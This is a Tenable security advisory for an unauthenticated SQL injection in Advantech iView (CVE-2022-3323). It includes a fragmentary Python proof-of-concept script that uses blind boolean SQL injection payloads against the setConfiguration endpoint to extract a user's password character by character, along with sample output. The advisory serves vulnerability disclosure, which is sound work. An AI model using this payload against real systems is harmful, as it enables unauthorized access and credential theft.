Advantech iView ConfigurationServlet setConfiguration SQL Injection

Critical

← View More Research Advisories

Synopsis

An SQL injection vulnerability in Advantech iView 5.7.04.6469.

The specific flaw exists within the ConfigurationServlet endpoint, which listens on TCP port 8080 by default. An unauthenticated remote attacker can craft a special `column_value` parameter in the setConfiguration action to bypass checks in `com.imc.iview.utils.CUtils.checkSQLInjection()` to perform SQL injection. For example, the attacker can exploit the vulnerability to retrieve the iView admin password.

Proof of Concept Script:

```
import sys, argparse, requests


descr = 'Advantech iView setConfiguration SQL Injection (User Password Retrieval)'


parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter)
required = parser.add_argument_group('required arguments')
required.add_argument('-t', '--target',required=True, help='Target host/IP')
parser.add_argument('-p', '--port', type=int, default=8080, help='Advantech iView port, default: %(defaul
parser.add_argument('-u', '--user', default='admin', help='Advantech iView user whose password to retriev

args = parser.parse_args()
host = args.target
port = args.port
user = args.user

url = 'http://{}:{}/iView3/ConfigurationServlet'.format(host, port)
```

```
    data = {
      'page_action_type'  : 'setConfiguration',
      'column_name'       : 'nUseCustomDescription',
      'column_value'      : sqli
    }

    r = requests.post(url, data=data)
    if 'Configuration Update Success' in r.text:
      return i

  return -1


def test(pos, op, v):
    sqli = "(SELECT IF(ASCII(SUBSTRING((SELECT`strUserPassword`FROM(user_table) /*!WHERE*/ strUserName =

    data = {
      'page_action_type'  : 'setConfiguration',
      'column_name'       : 'nUseCustomDescription',
      'column_value'      : sqli
    }

    r = requests.post(url, data=data)
    #print(sqli)
    #print(r.text)
    if 'Configuration Update Success' in r.text:
      return True
    else:
      return False


def bsearch(pos, low, high):

  #print('{} - {}'.format(low, high))
  if high >= low:
    mid = (high + low) // 2

    if test(pos, '=', mid):
      return chr(mid)
    elif test(pos, '>', mid):
      return bsearch(pos, mid + 1, high)
    else:
      return bsearch(pos, low, mid - 1)

  else:
    return None
```

```
else:
  sys.exit('Failed to get password length for user "{}"'.format(user))

print('Getting password for user "{}"...'.format(user))
print('Password for user "{}" is '.format(user), end='')
for pos in range(1, pw_len + 1):
  ch = bsearch(pos, 32, 127)
  if ch != None:
    print(ch, end='')
  else:
    print('Failed to get character at position {} of the password'.format(pos))

print()
```

Proof of Concept Execution:

```
# python3 advantech_iview_setConfiguration_sqli.py -t <target-host> -p 8080 -u 'admin'
Getting password length for user "admin"...
Password length for user "admin" is 12
Getting password for user "admin"...
Password for user "admin" is Password123!
```

Solution

No solution is available at the time of this writing.

Disclosure Timeline

August 9, 2022 - Tenable requests security contact from vendor.
August 17, 2022 - Tenable requests security contact from vendor.
August 24, 2022 - Tenable makes final attempt to request security contact from vendor.

All information within TRA advisories is provided "as is", without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

CVE ID: CVE-2022-3323
Tenable Advisory ID: TRA-2022-32
CVSSv3 Base / Temporal Score: 9.8 / 8.9
CVSSv3 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products: Advantech iView 5.7.04.6469
Risk Factor: Critical

Advisory Timeline

September 26, 2022 - Initial release.

FEATURED PRODUCTS

Tenable One Exposure Management Platform

Tenable.cs Cloud Security

Tenable.io Vulnerability Management

Tenable.io Web App Scanning

Tenable.asm External Attack Surface

Tenable.ad Active Directory

Tenable.ot Operational Technology

Tenable.sc Security Center

Tenable Lumin

Nessus

→ View all Products

FEATURED SOLUTIONS

Application Security

Exposure Management

Finance

Healthcare

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust

→ View all Solutions

CUSTOMER RESOURCES

Resource Library

Community & Support

Customer Education

Tenable Research

Documentation

Trust and Assurance

Nessus Resource Center

Cyber Exposure Fundamentals

System Status

CONNECTIONS

Blog

Contact Us

Careers

Investors

Events

Privacy Policy   Legal   508 Compliance